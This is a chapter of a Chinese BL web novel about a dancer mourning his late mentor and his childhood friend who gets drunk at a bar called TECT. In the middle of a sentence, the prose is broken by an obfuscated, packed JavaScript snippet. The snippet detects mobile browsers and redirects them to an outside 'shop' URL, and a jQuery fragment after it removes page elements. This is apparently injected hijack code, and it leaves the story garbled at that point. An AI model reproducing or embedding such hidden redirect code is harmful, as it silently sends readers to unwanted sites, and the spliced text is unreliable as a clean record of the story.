拿出手机给老妈发信息报平安，一分钟后顾以默先忍不住，将手机收起无语地问木南苏：“你到底要说什么不好开口的话题？” “不是，我是想问你知不知道有一家酒吧叫......”木南苏拿出手机照着念，“TECT？” 顾以默听到这个名字怔住，身子向后靠着扶手眼神上下打探木南苏，单手撑头挑眉问道：“你知道你问的是什么地方吗？” “不是酒吧吗？”木南苏不理解他的举动，懵懵地和他解释，“我们宿舍聚会，室友给我发的位置。” 顾以默哼笑，余光瞥见了两个正朝着他们跑来的身影，他起身拿着行李给木南苏提建议：“那家酒吧我去过，鱼龙混杂，你们还是别去了，小心被大灰狼叼走。” 他......去过？ 木南苏满脑子只理解到了这个，傻愣坐在椅子上。 将他们的行李分发完成，顾以默转身拿起自己的行李准备走，发现木南苏正在低头看地板开口打趣：“不是吧？我小时候拿大灰狼吓你你就上当，怎么现在还能被吓到？” 木南苏摇头，拉着行李箱从他身边面无表情地走过。 这.......顾以默满脸疑惑地看着木南苏的背影，在心里想着他刚才也没说什么让木南苏生气的话吧....... 不知道是不是自己的错觉，他总觉得自从重逢之后木南苏就变得很奇怪，动不动就和自己甩脸色。 顾以默想起木南苏高中时期有一段时间也是这样，轻摇着头觉得这人应该是叛逆期没过，便没把这件事放在心上，跟着他一起往门口走去。 一路上前来接他们的大巴车里没人说话，沈一川和卞澈察觉到气氛不对也不敢吵闹，生怕他们把自己丢下车去。 顾以默在舞社门口一眼就看见师娘的身影，等车停稳之后慌忙打开门跑到她面前，有些哽咽地喊了声师娘。 “瘦了啊.......是不是又加训了？”师娘拉着他紧皱眉头上下打量一番，轻柔的声音带了些训斥的意思对顾以默说，“我怎么和你交代的？你现在连我的话都不听了是不是！” 顾以默全程低头不敢说话，听见一声轻咳抬起头斜眼看去，卢择在旁边忍笑的表情映入眼帘。 他立马明白是怎么回事，咬着牙怒瞪这个背后告状的阴险小人。 “顾以默你瞪卢择也没用！”师娘看他这副样子就知道他心里在想什么，伸手掐了顾以默一把眼圈发红训他，“以后你能不能注意点自己的身体.......” 顾以默听出师娘话语中带着哭腔，拉过一旁的沈一川对她说：“师娘你看他，比我瘦多了，还挑食呢，您也训训他。”说完赶紧回到车上拿行李。 被莫名扣上挑食这顶帽子的沈一川想反驳却又不敢，只好替自家师父扛念叨，面对着师奶的训话他也只能点头应是。 车里，顾以默强撑不下去，他走到后排角落的位置上坐下缓解心情，看着原本打算下车的木南苏朝他走来坐到对面，无奈地笑笑。 木南苏看他这副样子紧皱眉头，没有开口安慰他，只是静静地陪着顾以默。 “快三年了，我心底里还是不敢面对我师父已经去世的这个事实。”顾以默苦笑着轻声自嘲，“你是不是觉得我很懦弱？” 木南苏摇头，依然是静静地没有开口，听他说着往事。 “我师父这个人特别口是心非。”顾以默红着眼眶回忆，“我第一次拿世界冠军的时候特别得意，觉得自己终于和师父站在同一高度了，结果他直接和我说‘你这算个屁，有本事拿个五连冠回来。’” 说到此处顾以默笑了一下，眼眶里隐忍的泪水也随着表情流了出来，他用手背随意抹掉，又继续对木南苏说：“后来师娘告诉我，其实那天晚上，他把我接过奖杯的片段看了一遍又一遍，边看还边和师娘炫耀......” “所以，拿五连冠是你的梦想吗？”木南苏小心翼翼地问道。 顾以默摇头，转头看向车窗外的两只小麻雀，缓缓开口。 “是我师父被迫放弃的梦想。” 木南苏垂眸，紧抿着嘴没再开口说话。 半小时后，顾以默收拾完房间准备出发去师娘家蹭饭，刚出门没走几步又拐回头敲响木南苏的房门。 敲几声没人开，看来木南苏应该已经去和同学聚会了。 希望他在高铁站说的话，木南苏能听进去。顾以默心想着，转身离开。 夜幕降临，四个面相单纯的大学生在市中心的酒吧街互相对视，其中一个穿着格子衬衫的男生拿着手机询问木南苏地点。 木南苏抬头打探周围的环境，皱着眉头心情复杂，不太想确定地回答道：“应该......是吧。” “那我们进去看看吧。”室友对着木南苏说，“第一次来这个地方，感觉真的和网上说的那样，挺热闹的。”说完便往里走去。 木南苏的脚步带了些迟疑，但最终还是跟着三个室友走了进去。 紧紧相邻各式各样的霓虹灯招牌看得他眼花缭乱，却又忍不住好奇心四处看着。街道上双双搂抱着的人随处可见，亲密的举动让木南苏耳朵发烫，只好低头假装自己在看手机。 顾以默......真的经常来这里吗？ 这个疑惑在木南苏心里再次油然而生，直到地图播报他们已到达目的地，他抬头看去。 “是这家，我们进去吧！”其中一个室友激动地对着三个人说，上前一步打开酒吧的门，“走啊木南苏，发什么呆？” 一声带着兴奋的呼唤声打断了木南苏的思考，他将情绪埋在心里，朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848844|191437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着室友点头应好走了进去。 晚上八点，顾以默和卢择来到师娘家中，换了拖鞋走到里屋并肩站着，一同对师父的遗像鞠躬上香。 “师父您知道吗？顾以默出息了。”卢择对着遗像说，“都有前男友了，还被人家抢了冠军。” 本来心情沉闷的顾以默被这句话逗得无语，踢了卢择一脚，“你别逼我在师父面前骂你，胡说八道！” 卢择吃痛，捂着腿又朝师父告状顾以默武力解决问题。 懒得理他这副样子，顾以默看向师父解释：“师父您别听他瞎说，今年我中场休息的时候被人撞了一下腰，所以......但我知道这肯定不是主要原因，我会好好反省自己的，明年比赛我一定帮您完成愿望。” “师父，我们马上要一起参加团队赛。”卢择也正了语气，接着顾以默的话说，“您在天上看好了，绝对不会让您失望的。” 说完话，顾以默连忙去厨房帮师娘干活，却被嫌弃碍事，最终把他赶了出来。 顾以默摸着鼻子只好在门口陪师娘说话聊天，听到师娘提起木南苏，他更是无奈地笑笑，“师娘您别听他们瞎说，我和木南苏真的就是发小关系。” “今天和你一起下车的那个男生就是他吧？看上去白白净净的，挺讨人喜欢的。”师娘将做好的饭菜端到餐桌上，对着正在摆筷子的顾以默笑道，“你也该考虑一下自己的事情了，别天天光知道跳舞。” 顾以默笑笑，乖巧地应好，拿起汤勺前去一旁盛饭，开口喊卢择吃饭。 三人吃完饭，顾以默疑惑地看着面前的信封，抬起头问师娘：“这是？” “我和你师父没孩子，所以我们现在最牵挂的就是你们.......这是你师父生前交代的，说等你拿亚军的时候让我交给你。”师娘看着信封对顾以默轻声说，“你师父最担心的就是你变得在意成绩，其实他只希望不要为了跳舞而跳舞。” 顾以默道谢，双手拿过信封，用指尖触摸着上面写的“以默收”，舍不得拆开。 师娘又拿出一个信封交给卢择，湿着眼眶说：“这是留给你的，让我和以默的信一起拿出来。” “谢谢师娘。”卢择连忙放下手里的饮料双手接过，也是不舍得拆开，拿过顾以默递给他的信封一同保存在背包里。 三个人坐在客厅谈心，顾以默的手机突然响起，他拿出一看是木南苏，觉得奇怪起身到窗边接通。 一阵刺耳的音乐声和人群欢呼声从手机那边传来，他瞬间辨别出来木南苏是在酒吧，拧着眉提高音量问道：“怎么了？你是去酒吧了吗？” “请问你认识木南苏吗？”一个顾以默从没听过的声音喊道，“木南苏喝醉了，你能来接他一下吗？” 不会喝酒去什么酒吧？顾以默叹气。 刚准备问他们在哪，却听见木南苏满是醉意的一句话，好像是.......别说？ 顾以默秒懂，挂了电话和师娘道别，“师娘我这边突然有点事，有时间再来看您。” 卢择见他着急忙慌的样子，也赶紧和师娘说了下次一起来看她，跟着顾以默的步伐到了楼下才开口问去哪。 “TECT。”顾以默脚步没停，和卢择简单地说了地点。 卢择轻“哦”了一声，跟着顾以默走几步后反应过来那是什么地方，立马顿住脚步。 TECT不是顾以默之前和人发生争执的gay吧吗？他去那干什么？！